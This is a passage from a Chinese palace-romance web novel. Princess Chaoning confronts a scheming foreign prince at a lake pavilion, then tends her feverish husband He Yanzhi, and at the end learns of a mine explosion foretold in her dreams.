“多谢王子,但是本宫从小便不喜牛肉,怕是要驳了王子美意。”
“不知公主喜好何种消遣?”摩什眼底暗流涌动,“今日定要让殿下尽兴而归。”
“王子不必如此费心,本宫觉得王子今日邀约,想必不止游园这般简单。”朝宁直言挑破。
摩什忽然垂首,再抬起时那双阴狠的眼睛变得缓和,“幼时随父王来大夏时,得见公主殿下,对公主一见倾心,此刻十几年一直心慕于殿下,不曾忘怀,今年才求下父王为我上书和亲,没想到公主殿下竟另嫁他人。”
“哦?既如此倒是本宫的不是了。”朝宁冷眸对着他,手指轻叩在案桌前,转言道:“不过王子来自绥丹,竟能用中原话,流畅地说出这番感人至深的话,也着实不易。”
摩什怎会听不出言外之意,平和应道:“对公主爱慕之深,自然要抵万难见到公主。”
“那当真是辜负了王子心意,改日本宫会与父皇禀报,更要优待王子殿下。”朝宁冷眼瞧着面前玲琅满目的菜肴,增添心中烦意,“今日湖中寒露重,恰逢驸马今日病了,本宫还需要早些回去。”
朝宁起身的瞬间手腕被用力拽住,摩什换上了那副阴狠样子,“贺砚知那个病秧子,如何给得了公主幸福,不如抛了他,和我在一起,结两国之交不是更好?”
朝宁平静地看着他发疯,若她真没有遇到那梦魇,或许真的会和这败类结为夫妻,她从未对婚事上心过,不过是从一个地方换到了另一个地方,有何区别。
朝宁心中不知为何反倒松了口气,多了一份庆幸,“本宫的驸马自然是好的,与其相爱又怎会厌弃,倒是王子,莫要做出些荒唐事,毁了自己。”
朝宁试图挣扎却男女力气有别,红痕越发的明显。
“荒唐事?公主以为我会做什么?”
眼见无果,一把软剑突然从腰间划出,朝宁反手将剑刃抵到了摩什的脖颈。
“现在可以松手了吗?”朝宁不掩眼中杀意。
摩什却突然冷笑,“公主当真有胆量杀了我,若是我身死不出一日,绥丹的大军就会压至边境,而公主便是使两国交战的元凶。”
朝宁嘴角反倒勾起一丝笑容,她将剑刃又往前,脖上已有一道血丝。
“摩什王子贪玩湖中,不幸溺毙,与本公主何干?”
摩什松开了手,可是眼神还是肆无忌惮地盯着朝宁,“公主真是好谋算又胆识,京郊放火的手笔也出自殿下之手吧,公主如此想杀了我,当真是为了和亲?”
“本公主杀人一向不问缘由,包括你。”
摩什突然笑出声来,“不愧是本王子倾心之人,每次都能给人惊喜,刚才和公主开个玩笑,今日前来当然是想和公主交个朋友,作为诚意,分予公主一个秘密可好?”
朝宁微微挑眉,剑缓缓离开脖颈,下一刻她突然屈起的膝盖,猛地砸向摩什小腹,摩什避之不及,踉跄后退几步。
“王子别介意,本公主也是同王子开个玩笑。既是诚意,本宫哪有不听的道理。”
摩什的大拇指抹了一把脖子上的伤口,不深不浅,若是再近一点,便是要命,他双手撑着桌面,恶狼般眼神盯着朝宁。
“颐宁公主,你当真了解贺砚知吗?”
18. 分崩离析
朝宁嗤笑一声,“哦?看来王子对本宫驸马也多有研究。”
摩什露出一丝得意,继续说道:“我说了对公主是情根深种,即使是不能成为公主的驸马,也不能让别有用心的人欺骗公主。
朝宁依旧平静看着摩什,面上没有一丝波动。
摩什蹙紧眉头,继续添油加醋,“贺砚知,若真是一个文臣,公主猜猜为什么在我们入京之后,会遇到贺砚知的人暗自在京中四处搜寻,他在找什么?公主想知道吗?”
朝宁终于笑出声来,“本宫还以为王子能说出什么秘密来,不过是一些毫无根据的猜测,至于再找什么…王子当真不知?大婚当日,王子的人当众刺杀,也是好本事。”
摩什也不恼,视线放到那把软剑上,“公主还是如此嘴硬,城郊那晚,公主被人救走,那人蒙着面穿着黑衣,可是能依稀看出那身形和贺砚知极为相似,公主是否也知道他会武?”
一连串的问题,朝宁心中似有一些动摇,她思绪不由地飘回到那晚刺杀受伤,醒来便看到了贺砚知,甚至与他促成了假成亲的约定。
那晚,她便有疑惑贺砚知为何在那树林里,而朝宁一心只想躲开所谓和亲,自当没有深究被救下时候的细节。
朝宁抬头冷眼相对,软剑伸出直冲摩什,“有些话,本公主不愿当场捅破,究竟是哪一方居心叵测,你心里清楚。趁早收了那些心思,滚出大夏!”
寒光乍现,抵在摩什眉心,“还是那句话,刀剑不留情,王子慎重。”
摩什冷笑一声,靠在石桌一边,“公主也未免天真些,真以为我会对付不了你一个小女子吗?”
对着朝宁语气轻挑,“湖面水汽繁重,今日天气阴沉,我若是绑了公主,生米煮成熟饭,这亲不能和也得和。”
“摩什王子好大的口气!”
帷幔骤然翻卷,水汽挟冷风扑面。数道黑影如鬼魅突现,剑刃齐刷刷架在摩什颈间。
循声而去,木桥上一身白衣大氅仿佛隔着水汽,踏风而来,贺砚知的头发有些凌乱,步伐急促,平时那张清俊的面容,此刻苍白的不似来自人间。
贺砚知急促地走到了朝宁的面前,看见软剑上的血迹和她被勒得红痕,眼睛不禁暗了几分。
“右相大人未受邀约便刀剑相向。”摩什阴冷注视来人,“这便是大夏待客之道?”
贺砚知解下氅衣轻轻披在朝宁肩头,“很冷,披上暖和些。”
不待她回应,他已转身将人护在身后,冷冽目光直刺摩什:“倒要请教王子,将我大夏公主诱至湖心,口出狂言意图不轨——这一桩桩,是否该向绥丹讨个公道?”
“贺砚知!今日你岂敢动我?”
“有何不敢!”贺砚知虽面色苍白,气势却如出鞘利剑,“当年西伐能令绥丹几近灭国,今日亦能。”
摩什戾气暴涨正要发作,却被来自的府兵猛地按在石桌上。
贺砚知俯身低语:“别挣扎了,你的人均被扣下了,今日我不会动你,待使臣离京前,定将王子今日行径修书呈报绥丹王,让天下看看绥丹储君是何等面目。”
贺砚知回头,拥着朝宁离开。
身后传来摩什撕心裂肺地喊声,“贺砚知!你又是什么好东西!不过也是个狼子野心的伪君子。”
梁蔗立即堵住了他的嘴,贺砚知面不改色,拥着朝宁到了岸边。
格吉尔等人已经被贺砚知完全扣住,漠然吩咐道,“待马车离开,再将他们带回驿馆。”
莲心匆匆迎来,见到朝宁衣襟血迹惊惶失色:“殿下受伤了?”
朝宁摇摇头,勉强地扯出笑容,“无碍,这不是我的血,本公主出马自然不会有问题。”
贺砚知轻轻托起她藏在袖中的手腕:“这便是殿下说的万无一失?”
原本白皙的手腕上,那条红痕触目惊心,仿佛再加大力气,手腕就会被活活捏碎。
“小题大做。”她抽回手,指尖无意识摩挲着腕间伤痕。
归途马车内寂然无声,只有贺砚知压抑的咳嗽声在车厢回荡。
可能是湖面凉气太重,朝宁无奈又将大氅重新披到贺砚知的身上。
“病了就不要逞能,要是你病死了,我都没办法交代。”
“你呢?”他眼底映着晃动的车帘碎光,“明知是局,为何偏要赴约?”
朝宁别过脸望向窗外:“懒得与你争辩。”
车外忽然传来莲心的声音:“殿下,张记包子铺到了。”
在朝宁开口前,贺砚知问道,“你想吃包子?”
“我...”朝宁还未来得及否认,马车已应声而停。
两人下了马车,站在了张记包子铺前,朝宁问道,“老板,还有翡翠玲珑包吗?”
老板从后厨探出头,“不好意思,今日已经卖完了。”
她转身欲走,却被贺砚知拉住。一锭银光划过半空落入掌柜手中:“现在可以有吗?”
“可以!当然可以!我这就去做!二位稍后。”
两人坐在摊前长凳上,蒸汽模糊了贺砚知苍白的侧脸:“摩什在亭中说了什么?”
朝宁抬头对上那双探究的眼睛,她顿了一下,语气颇为轻松,“没什么,胡言乱语罢了,原想着能套出一些有用的,白跑一趟罢了。”
沉默在蒸笼的噗噗声中蔓延,直到掌柜捧着堆成小山的笼屉过来,将包子摆在了两人面前,朝宁震惊地看着每个皮薄馅大的包子塞满了整个笼屉,“老板,这么多...”
“这位公子给的银锭,都快能买下我们小店一个月的量了,不多,不多。”
将包子全部打包,两人回了马车上。
“不吃一个吗?”贺砚知问道。
朝宁摇摇头:“你吃吧。”
贺砚知疑问,“我吃?”
“本想着给你买的,猜你喜欢...”朝宁声音逐低。
贺砚知似洞察道,忍不住嘴角上扬,“喜欢。”
他咬了一口,新出炉的包子很香,“好吃,谢谢殿下。”
马车刚在贺府门前停稳,便见背着药箱的老郎中急匆匆赶来:“右相大人!这是新配的药,服下便能退热。但恕老夫多嘴,若不诊脉根治,只怕会落下病根啊!”
朝宁倏然蹙眉:“为什么不诊脉?”
贺砚知未说话,朝宁手摸上了他的额头,依旧很烫。
“你不要命了?”
贺砚知突然像是失了重心,晕了过去,幸亏朝宁及时扶住了他。
老大夫忙碌至日上三竿,终是完成了诊脉施针。榻上之人面色苍白如纸,久久未见转醒迹象。
“大夫,他究竟如何?”
“右相大人是寒气入体,高烧未愈,还未及时吃药,刚刚应是又着了凉。老朽给右相大人施针,不出半个时辰便能醒。”
“有劳了。”
朝宁凝望着榻上面容,心头泛起难言滋味。方才湖心亭中,那道白影挡在她身前的瞬间,她承认会有安心的感觉。
“你真的了解贺砚知吗?”
摩什的诘问忽在耳畔回响。那夜城郊相救,大婚冷箭惊魂,桩桩件件掠过心头,她指尖无意识攥紧了袖口。
她是不是过于信任他了呢?
“殿下,”大夫的声音打断思绪,“待大人醒后服下汤药便可。”
大夫收拾药箱准备出去,却被朝宁叫住,
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“还有一事,需要问过先生。”
“殿下请说。”
朝宁压低嗓音,“先生诊脉时,可探出床上之人是否会武?”
会武和不会武脉搏气息有所不同,朝宁也生出了探究之心。
“回殿下话,右相大人的脉息似乎不像是习武之人,老夫之前诊过许多脉象,不会有错的。”
朝宁悄然松了口气,引着大夫出去后。
床上,刚才一直躺着不动的男人,缓缓睁开了眼睛。
-
摩什被送回了驿馆,格吉尔跪在地上不敢抬头生,“是属下之失,没想到好多府兵都扮作游客混在园中,请王子恕罪。”
摩什坐在塌上,活动着刚才被压着的胳膊,刚刚被划破的脖颈已经结了血痂。
“起来罢。”
格吉尔胆战心惊抬头,摩什没有丝毫气馁,“今日这局,你当真以为我们败了吗?”
格吉尔疑惑,“王子的意思是…”
“今日之言,即使朝宁现在不信,等日后贺砚知自己露出马脚时,这便是横在两人之间的刺,最后分崩离析。”
“王子高明!”
“京城这潭水还不够浑。”摩什指尖划过颈间伤痕,血珠渗出竟令他笑容愈深,“归宁节前,该添把火了。”
-
朝宁守在房内等了将近一个小时,才见贺砚知睁眼。
“殿下...”他声音嘶哑得厉害。
“尽会添乱。”朝宁将药碗端到床边,“病中逞强去碧波园,是嫌命太长?”
贺砚知虚弱地牵起嘴角:“殿下在担心我?”
朝宁不答他话,“我自己一个人能处理好,不需要你出面。”
她端起已经刚刚熬好的汤药,突然想起,自己晕倒时,贺砚知也是这般坐在床边,端着一碗药喂她。
贺砚知低头看着她发红的手腕,“疼吗?”
朝宁后知后觉才发现贺砚知说的是什么,“小伤而已,从小练武伤比这个严重多了。”
“别说别的了,先把药喝了吧。”
贺砚知看了药碗,又看了朝宁,放轻声音:“你不喂我吗?”
“你多大了?还要喂药?”朝宁不解。
贺砚知摸了摸鼻尖,“真的很苦的。”
朝宁叹了口气,“堂堂一公主,还要服侍别人喂药。”
话是如此说,朝宁已经舀了一勺汤药,放到贺砚知的嘴边,他喝了一勺,“好苦,真的好苦!”
“你真的很娇气!”朝宁嫌弃他,但又颇有耐心地一勺一勺将整个碗汤药喂进了嘴里。
“糖,我也要吃陈皮糖。”
朝宁将药匙扔到碗边,“贺砚知!你别太过分了!”
“殿下,果然狠心,连一块糖都不愿分我。”
朝宁感觉自己这么多年的耐心都要被磨净了,见他病态的脸,又只能隐下,从腰间的小袋子里取出了两颗。
梁蔗垂首立在门边,听得内里动静只觉恍在梦里,那般娇气的声响,竟是从自家主子口中出来的。
朝宁从窗边看到外面站着的人影,大喊,“梁蔗!”
门口人听见,连忙进来,“殿下...”
“回来了?”朝宁平静问他。
“是,都已经办妥了。”
朝宁点点头,“办妥了便好生照顾你家主子,别让他死了。”
朝宁气呼呼地走了,门扉轻合,贺砚知脸上浅淡笑意倏然消散。
“主子,摩什那边...”
贺砚知指尖摩挲着腕间残留的药香:“他今日定然说了些不该说的。”
梁蔗心头骤紧:“公主殿下可是起疑了?”
19. 上药
贺砚知苍白的手指轻叩床沿:“她探我是否会武。”
梁蔗倒吸一口凉气,“主子...那下一步该如何办?”
“摩什今日吃了亏,必不会善罢甘休。”贺砚知眼底掠过寒芒,“他要添火,就让这火烧得大些,得意许久该让他们出出血了。”
梁蔗在一旁应声,他家主子的病态只有几次受伤惨重才可见到。
他想起那夜贺砚知将整桶冰水浇透全身的模样,那般决绝的苦肉计,竟只为拦下公主赴约。
“还有事?”贺砚知抬眼。
梁蔗摇头又点头,“公主...让属下在这儿照顾您...”
“你现在倒是听话了?”
梁蔗很贴心又“听话”地将剩下的汤药端到贺砚知的面前。
贺砚知不善的眼神落在梁蔗身上,端起的手又听话地收回,“主子,药还是您自己喝吧,属下...属下这就去监视摩什那边。”
“摩什那边派其他人盯着。你这两天守在府内,若公主出府你便跟着,别被发现。”
梁蔗有些为难,“主子,公主的武功,不被发现有点难...”
“梁蔗。”贺砚知声音微沉,“你近来话愈发多了。”
“属下这就去!”梁蔗如蒙大赦般退至门外,深深地松了口气,公主那般武功,寻常人近身都难,这差事分明是主子寻由头护着人。
室内重归寂静,贺砚知执起药碗一饮而尽,苦味翻涌时舌根却泛起陈皮糖的清甜,复杂的心绪逐渐被甜意取代。
-
朝宁回到院中便将今日所穿的衣裳尽数丢弃。坐在桌前反复擦拭剑刃,沾了摩什的血也是侮辱了她的剑。
梳洗干净后,莲心将他们在路上买来的包子,装进了盘子,送到朝宁的面前。
那包子又大又圆,朝宁有些无奈,数量确实是有些多。她不喜各种蔬菜,所以对着这京城爆火的包子,也不是那么想吃...
“殿下,这包子奴婢去热了一下,您尝尝?”
朝宁几番犹豫,可还是对那香气妥协了,包子入口醇香,伴着芥菜和冬菇的菜香,最后还带着松子的清香,却是意外中的好吃。
莲心见她家公主的表情便知道了,公主十分钟意这包子。
朝宁吃着突然想到碧波园中的府兵,“人都回去了吗?”
莲心点点头,回想今日场景着实可怕,又问道,“殿下,是否要派些人进贺府保护殿下?”
“不必了,这府中的守卫也不少,虽然...”朝宁噎了一下,“虽然,贺砚知不会武功,可手下人身手都不错,再说一朝右相,摩什还没有胆子硬闯。”
莲心耷拉着头,“若是沐姐姐在就好了,还能贴身保护殿下,不像我这般没用...”
方沐从十岁入公主府时便和莲心一起照顾她,方沐从小武功很好,公主府上下基本由她一人领着,可是一年前随谢倾竹去了边境。
朝宁虽然也舍不得她,但她记得方沐走时眼中有她从未见过的希望。
“她武功不差的,总是待在后宅委屈她了,征战沙场对于她来说是最好选择。”朝宁轻拍莲心手背,“至于你这丫头,每天变着法逗我开心,各种好吃的候着,你更重要。”
莲心眼眶微红,她家殿下从不恃宠而骄,而是尽全力对身边人甚至于他们奴婢给予一个选择。
朝宁笑着捏了捏对方圆润的脸颊:“好了,你要想她了,多给方沐写写信,话说我成亲的消息,不知那边收到消息没有。”
说着将盘子推向前:“这包子不错,给贺砚知送去些,剩下的你们几个小丫头分了吧。”
莲心退了下去,朝宁的胳膊不小心碰到了桌角,袖子落下,白皙的手腕上那红色的印子看着有些可怖。
她蹙眉揉了揉伤处,方才忘了让莲心取药膏来。
倦意如潮水漫来,朝宁躺在床上很快睡了过去。
这一睡,不知睡了多久,恍惚间又见红衣飘然。
四周漆黑一片,一行人举着火把慢慢行进,豆大的雨滴从天上落下,砸在泥泞的土地上,溅起一朵朵水花。她的视线是模糊的,仿佛被一层薄雾笼罩,不知他们是谁,也不知前路通往何处。
火光映照在每个人的脸庞上,却只能模糊看到他们麻木的表情,如同行尸走肉般,不知走了多久,队伍突然停滞。她拼命想抬头,脖颈却像被无形之力禁锢,只能看见火光下破碎的树叶在风中颤抖。
四周的空气似乎在这一刻凝固了,死寂中唯有雨声淅沥。她能感觉突如其来的火光伴着热浪喷涌而出,瞬间吞噬了整个黑夜!
热浪灼烧着她的肌肤,呼吸被浓烟扼住。她想要尖叫、挣扎,身体却像被冰封般动弹不得。
“不,不要!”
朝宁猛地从榻上惊坐而起,额头布满冷汗。她慌乱地喘息着,猝然撞进一双沉静的眸子。
贺砚知正坐在床沿,掌心轻抚她微颤的后背:“别怕,只是个梦。”
她这才察觉自己浑身发抖,那种被梦魇寸寸侵蚀的恐惧让她无端涌上酸楚。
下一刻,贺砚知感受到怀中出现了一抹柔软,朝宁如同一只受惊的小猫扑在了他的怀里。
贺砚知将她拥进怀里,朝宁靠在他的肩头,闻到了平时的檀香和一丝药味,方才惊惶的心绪被慢慢抚慰。
“你怎么在这儿?”朝宁的声音轻轻地,贴着贺砚知耳边,还能听到一些哭腔。
贺砚知指尖掠过她汗湿的鬓发——这般带着哭音的模样,唯有那年融沁宫大火时见过。
“常做噩梦么?”他避而不答,声线是罕见的温柔。
“搬到你这儿后,这是第一次做噩梦。”朝宁挑了些能和他说的,却未提梦中场景半字。
贺砚知掌心贴在她的后脑,轻轻揉了揉,“是今天吓到了?”
夜已深,房内未掌灯,浅浅的月光透过窗勾勒出两人轮廓,朝宁嫩感受到他的呼吸拂过发定,温热而平稳。
她轻轻“嗯”了声音,声音闷在她的怀里,她出奇地未如往常般反唇相讥,靠在她怀里竟然感受到安宁。
两人不知抱了多久,贺砚知终于缓缓松开了朝宁,动作很轻。
“你还未说,为什么半夜在我床边?”
贺砚知起身将床头的
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烛光点亮,朝宁看到了床边的一个小瓷瓶。
“你的手腕伤了,莲心说你还未上药。”
朝宁微微偏头,如墨的长发落在肩上,烛火在她眼底跳动,偏那唇角没压住,“你大晚上来我房里为了给我上药?”
“书房太冷,来向殿下讨个位子睡觉。”贺砚知坐下拉起她藏在袖中的手腕,午时那红色印子比较明显,现在借着烛火看着倒有些深红色周围泛着青紫。
到底还是金枝玉叶,哪里被人如此粗暴对待过。
他的指腹沾了药膏,轻轻抹过他的手腕,似乎没有用一丝力气,药膏微凉,他的指尖温热,两种温度交织,让人有些恍惚。
朝宁盯着他的脸,好像是比午时回来,脸色变好了些,可唇色依旧发白。
看着出神,话已脱口而出,“晚上的药喝了吗?”
他在给她擦药,她问他是否喝药?
贺砚知抬眸对上朝宁的眼睛,手下的动作停了一下,又低头掩笑,“殿下,竟然还关心我。”
“贺大人都半夜来我床边给我擦药了,礼尚往来。”看着朝宁故作凌厉的模样,总像只炸毛的猫,虚张声势地亮着爪子,分明是嘴硬心软。
贺砚知眼底的笑意更深,还有力气和他唇枪舌战,看来是缓过来。
“药太苦了,喝不下去。”
朝宁快被他气笑,“贺砚知,有没有人说过你真的很娇气?”
贺砚知慢悠悠地道,“有啊,不就是眼前这位。”
手腕处的红痕已经被贺砚知擦好了药膏,还“贴心”地帮她用纱布包好,虽然觉得有些小题大做。
“贺砚知!”朝宁叫了他一声,抬手指了指茶桌上一个小小的盒子,“那是一盒陈皮糖,我就剩下这么多,看在你今天帮我抹药的份上,都给你了。”
“好,谢谢殿下。”贺砚知应下,嘴角的笑意快有些掩不住。
“那个...有糖了,这几日的汤药必须顿顿不拉的喝,别再把病气传染给我。”朝宁摸了摸自己的鼻子。
“好。”贺砚知去了屏风后,将身上的衣服脱下,穿着里衣,若无其事地走向床榻,在她看不见的角度,唇角勾起一抹弧度。
朝宁揪住了被子,见贺砚知走近,她倏地别过脸去,身子往床榻里侧一滚,只留给他一道倔强的背影。青丝散在枕上,像铺开的墨色绸缎。
烛光灭了,被子被扯开一角,微凉空气钻进来,她下意识缩了缩肩,衣料摩擦细微的声响,接着是熟悉的温度。
“睡下了?”
朝宁睁着眼睛,犹豫片刻还是翻过身,对上那双熟悉眼睛,她也有些懊恼,“睡不着。”
她也没想到,一觉可以睡那么长时间,连晚饭都没吃,此时腹中空空。
贺砚知似乎看穿了她的心思,唇角微扬,“今日晚饭做了糖蒸酥酪,还有你喜欢的...”
“停停停!贺砚知,你是故意的吧!”她明明还能再忍忍的。
肚子却在这时不争气地“咕”了一声。
贺砚知低笑,伸手将她散落在脸前的发丝勾在耳后,“是我想吃,厨房去不去?”
20. 搬回来住
月亮隐在云中,只有细微的光亮洒下,府中上下一片沉寂。
贺砚知从衣柜中拿出一件厚重的大氅,帮她把发丝从衣服中抽出,朝宁仰头看他,突然警觉她的额头刚好卡在他的下巴处,鼻尖几乎能蹭到他的喉结,印象中他们好像拥抱过很多次,她有些不记得了,之前那几次是否如同今日一般温暖可靠。
在朝宁的注视下,贺砚知最后将最后一个结系好。
“走吧。”贺砚知拉起的手往外走。
“等一下。”朝宁不可思议道,“外面很冷,你不用多穿些?”
贺砚知身上披着来时的外衣,似乎看着还是有些单薄。
“这间卧房好像都是殿下的衣物。”贺砚知笑里藏着些无奈,却让朝宁有些尴尬。
她都忘了,自从搬进来之后,贺砚知的卧房现在完完全全都变成自己的了。
明明府里空房那么多,他还执意把所有的东西都移到书房去。
朝宁叹了口气,将手抽出来,走到衣柜取出另一件青色大氅,整个盖在了贺砚知的身上,她从没有替别人穿过衣服,所以动作也有些笨拙,只能学着刚才贺砚知的模样。
这件衣服毕竟是朝宁自己的,男女身形有异,况且贺砚知的肩宽比她更宽厚几分,此刻显得如此不合身。
朝宁与这衣带打起架来,怎么也弄不上,她有些生气,一用力却反倒将贺砚知拉过来,两人靠得更近。
“殿下想要勒死我?”
朝宁面上过不去,气恼地扔下,“你自己系吧。”
她背过身,不去看他,黑暗中听见他低低笑了几声。
贺砚知也是勉强能系上一个结,离得越近,他越能闻到,衣服上带着的浅浅的桂花香,是独属于她身上的气味。
心情更好了...
待他重新牵起她的手推开门,夜风裹着寒露扑面而来。
朝宁还是打了一个寒颤,幸亏刚才让他穿了一件大氅,不然就贺砚知这小身板,这风寒恐怕没个十天半个月,也好不了。
两人进了厨房,贺砚知将烛火点上,里面还散着一些糖蒸酥酪的香气,还有荷叶鸡的味道!
虽然味道很浅,还是勾起朝宁的胃口,暗叹这半夜起来简直是太明智了。
贺砚知掀起锅盖,朝宁抬头看去,白汽氤氲中,里面还有一整盘糖蒸酥酪,还有一盘荷叶鸡。
朝宁雀跃地跑上前,却见灶上还有些许火星,好像还是热的...
贺砚知看出她心中想法,“你一直睡着,莲心不敢去喊你,我便让人给你先留着。”
朝宁偏头,“你怎么知道,我今晚一定会起来吃,若是一觉睡到明早吗?”
“总是要备着的,不至于你想吃的时候没有。”
短短一句,却让她心口泛起汹涌潮汐。
恍惚间又回到那个深宫寒夜,六岁的朝宁饿得睡不着,蹑手蹑脚穿过漆黑宫道。御膳房早已落锁,她抱着空落落的胃失落地走回去,却听见花丛另一端传来笑语。
朝宁躲到了花丛里,听着朝冉与她母妃撒娇想吃最喜欢的枣泥糕,她记得淑妃对朝冉也说了这句话。
“你喜欢吃,让厨房给留着了。”
夜风卷着朝冉的笑声飘过来,甜得发腻,“母妃最好了。”
说不失落是假的,小时候的她,无数次再想如果她的母妃还在,是否也会如此疼她、宠她,让她有一个依靠。
.....
此时贺砚知的指尖正搭在碗边试温,见她发呆问道,“还想吃别的?”
朝宁回神看他,抿着嘴唇犹豫道:“还想吃面。”
贺砚知点点头应下她,“很快地,你先趁热吃这些。”
朝宁扯下椅子,坐到一侧,吃着入口很甜的糖蒸酥酪,一边吃着一边看着贺砚知。
他正利落地揉着面团,肩背的线条在烛光下起伏,一看就是经常做饭。
“没想到堂堂的贺大人还会做饭?”朝宁忍不住调侃。
他揉着面团的手停了下,低垂的睫毛在眼前落下一片阴影,“没被义父收养前,我也是个孤儿...”他声音很轻,却让朝宁心头一颤。
她都快忘记,贺砚知是被前太傅贺仲收养,从小便和她一起在上书房学习,当时有不少大臣家孩子私下嘲讽,他是个没人要的孤儿。那个被他推下水的便是其中之一。
可谁也没想到,曾经总受人欺负看似不起眼的贺砚知,会成了如今的重臣。
“你记得面条里面要加一个鸡蛋。”朝宁转移话题,又补充道,“我喜欢这么吃...我很饿,你多做些,别好像欺负你不让你吃饱。”
“好,都听你的。”贺砚知拖着长音,有一种特别的宠溺感。
门外打更声响起,如今已过子时,朝宁没有丝毫困意,吃着酥酪和荷叶鸡,主要还是给那晚面条留着肚子。
贺砚知的动作很快,满屋面条的香气,他端过来两碗,但是其中只有一碗有一整个的鸡蛋,另一碗没有。
朝宁皱起眉头,“为什么只有一个鸡蛋?”
“特意给殿下做的,忘记了。”
朝宁盯着那晚光秃秃的面碗,又看了一眼自己的这碗里金黄的荷包蛋。
她现在很怀疑,贺砚知是否在用着苦肉计,但是贺砚知的额头散着细汗,病气显然还没好全。
朝宁还是夹起那个特意留着的鸡腿,放到了贺砚知的碗里。
“我..吃得有些饱,不能浪费,留给你了。”
贺砚知愣了一下,还是笑着回应,“多谢殿下了。”
朝宁埋下头,夹起那碗热乎乎的面条,蒸腾的白雾扑在脸上,熏得眼角微微发潮。
她挑起长长一根在筷尖绕了两圈,小心地吹吹。
面汤清凉,浮着几粒翠绿的葱花,苗条入口劲道,混着面汤鲜亮,她不得不承认这碗面条真的很好吃,温热的汤顺着喉咙滑下,在这寒冷的夜晚带来了热意。
她用筷子习惯性地挑开那个荷包蛋,蛋白包裹着流心的蛋黄,正是她最喜欢的做法。
朝宁一抬头,却对上了贺砚知的目光,看着她有点不好意思,“你看我干嘛?你怎么不吃,难道你在这面里下毒了?”
“好吃吗?”贺砚知问道。
朝宁筷子一顿,热气氤氲中与他四目相对,“....还行,和我比还是差点。”
“好,下次要尝尝殿下的手艺。”
夜风掠过夜风掠过窗棂,吹不散满室暖意。
半夜,莲心起来如厕,看着厨房的亮着光,她使劲擦了擦眼睛,以为是府
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中遭了贼。
跑近听清了厨房内的动静,她愣了一下,轻手轻脚地扒在窗缝,看着里面还散着蒸汽,两个人坐在桌前,各吃着一碗面条,有滋有味,时不时还有谈笑声。
莲心脸上的笑容有些收不住了,悄悄地退出去,谁说公主和驸马的感情不好,明明是顶顶好的。
厨房内两人一口接着一口将这满桌的食物都吃了个干净。
朝宁摸着自己吃的圆滚滚的肚子,懒洋洋地靠在椅背上。
“殿下吃饱了?”
朝宁傲娇地点点头,“还行,手艺还行。”
“还行吗?”贺砚知视线落到那碗吃得干净的面碗。
朝宁轻咳两声,“不错,做得不错行了吧。”
吃饱之后,朝宁打开门,暖气和冷气交替,让她打了个寒颤。
“衣服穿好。”贺砚知将那个厚重的大氅从后面披到她的身上,两人靠得很近,朝宁虽然没有和他对视,却又觉得这个动作...有点过于暧昧了。
她抓紧了衣服的一角,小声嘀咕,“我...我又不像你,那么脆弱。”
“是,若是公主殿下也病了,陛下要责备我没有照顾好殿下。”
朝宁自己系上了绳结,“我是我,管你什么事。”
两人一前一后走进院子,院内一角还种着的那棵桂花树,随着夜风发出沙沙的声响。
朝宁不知道是不是自己多想,总感觉这几天,这棵树长了不少,祈愿明年能正常开花。
“那殿下就早日睡下吧。”贺砚知说完,转身要走,身影略显单薄。
“喂!大半夜不睡觉,你去哪?”朝宁下意识拉住了贺砚知的衣角。
“回书房睡。”他轻咳一声,喉结微动,“怕殿下睡得不舒服。”
“你刚才...刚才不是说让我...给你腾一个位子...睡。”朝宁声音越来越小,耳尖有些泛红,这话说出口好像是自己求着他一样。
“殿下,是真的愿意?”他与她隔着半步之远,眼底透着亮光,还带着一丝期待。
朝宁叹了口气,脖颈微扬,“算了,算本公主大发慈悲,明日开始...你搬回来住吧。”
贺砚知眼里藏不住笑意,嘴角也忍不住上扬,“殿下说真的?”
“本公主气量大。那张床不小,还容不下你?”
贺砚知的掌心突然将朝宁拉着衣角的手包裹住,“那就多谢殿下了。”
朝宁没挣扎,“外面太冷了,本公主困了。”
贺砚知牵着朝宁刚迈出一步,院门被“砰”一声撞开。
梁蔗踉跄地冲进来,“主子出事了,京城西边的矿山炸了!”
贺砚知的笑容瞬间凝固,“什么时候的事?”
“不出一炷香功夫,事情突然,现场情况不明,执金吾已经出动,刚才宫里来信!让主子立刻进宫!”
消息来得突然,朝宁还没反应过来。
贺砚知拍了怕她的手,“夜深了,殿下先回去睡吧。”
随后,与梁蔗疾步消失在门外。
朝宁站在原地突然感觉自己的心跳很快,耳边响起刺耳的轰鸣声,唇间无意识喃喃:“矿...山...”
梦中冲天火光再度席卷脑海,寒意如利刃直刺心口……
21. 爆炸
第二日早,莲心端着水盆到了卧房门口,想起昨夜动静,特意比平日迟了半个时辰。
莲心轻叩门扉两声,门却“吱呀”地开了。
室内只见朝宁独坐床沿,房内不见驸马的身影,莲心暗自诧异,两人昨夜没睡在一处吗?
“殿下今日起得真早...”莲心绞了温帕递去,话音戛然而止。
朝宁怔怔望着窗棂,面色苍白如纸,眼下泛着淡淡乌青,连唇色都失了往日红润。
“殿下,您昨晚又做梦了?”莲心小心翼翼地问,自从住进贺府,公主已许久未现这般憔悴模样。
朝宁好像被莲心的话惊醒,指尖抵住突突跳动的太阳穴。
她一夜未睡,准确来说是根本没办法入睡,每每闭上眼,那冲天的火光好像就在她眼前。
心中的某一个猜想在无限放大…
“莲心,你这就派人打听一下昨夜郊西矿山爆炸的消息,越多越好!”
莲心见公主如此着急,应声后连忙跑出去。
朝宁起身坐到案前,拿出一张纸,挥笔而写。
“从七月初一到八月初一,每日都是重复的和亲、国破…”
“八月十二,梦变了,成亲、遇袭、中毒…”她在这句话后面画了一个圈。
那正是她大婚当日亲身经历的险境。
而昨夜八月廿三,梦中冲天火光与灼肤之痛尚未消散,京城西郊石矿竟真的炸了。她不敢深想这诡谲的关联,可一次次应验的梦境如蛛网般缠住心神。
不到半个时辰,莲心匆匆跑进书房,额间汗珠滚落:“殿下查到了,昨夜子时前后,西郊附近突然传出一巨大的爆炸声,惊醒了附近的百姓,火光冲天,正是矿山的方向,据说,执金吾连夜赶过去时,矿洞尽数坍陷,矿工...无一人生还...”
莲心声音越来越小,这一惨烈的事故大夏几百来从未有过,郊西的矿山一直被视作大夏福祉,开采出的矿关乎国本,从开朝至今,历代帝王都对这处十分重视。
朝宁悬着的心绪在这一刻炸开,没有错,一切都没有错,矿山的位置位于郊西,从京城到那处,必然要穿过一众树林,漆黑夜中,沙沙作响的枯叶,一切仿佛都得到了印证。
她捂着胸口,试图平复这难以接受的事实。
“宫里有消息了吗?”
莲心摇摇头。
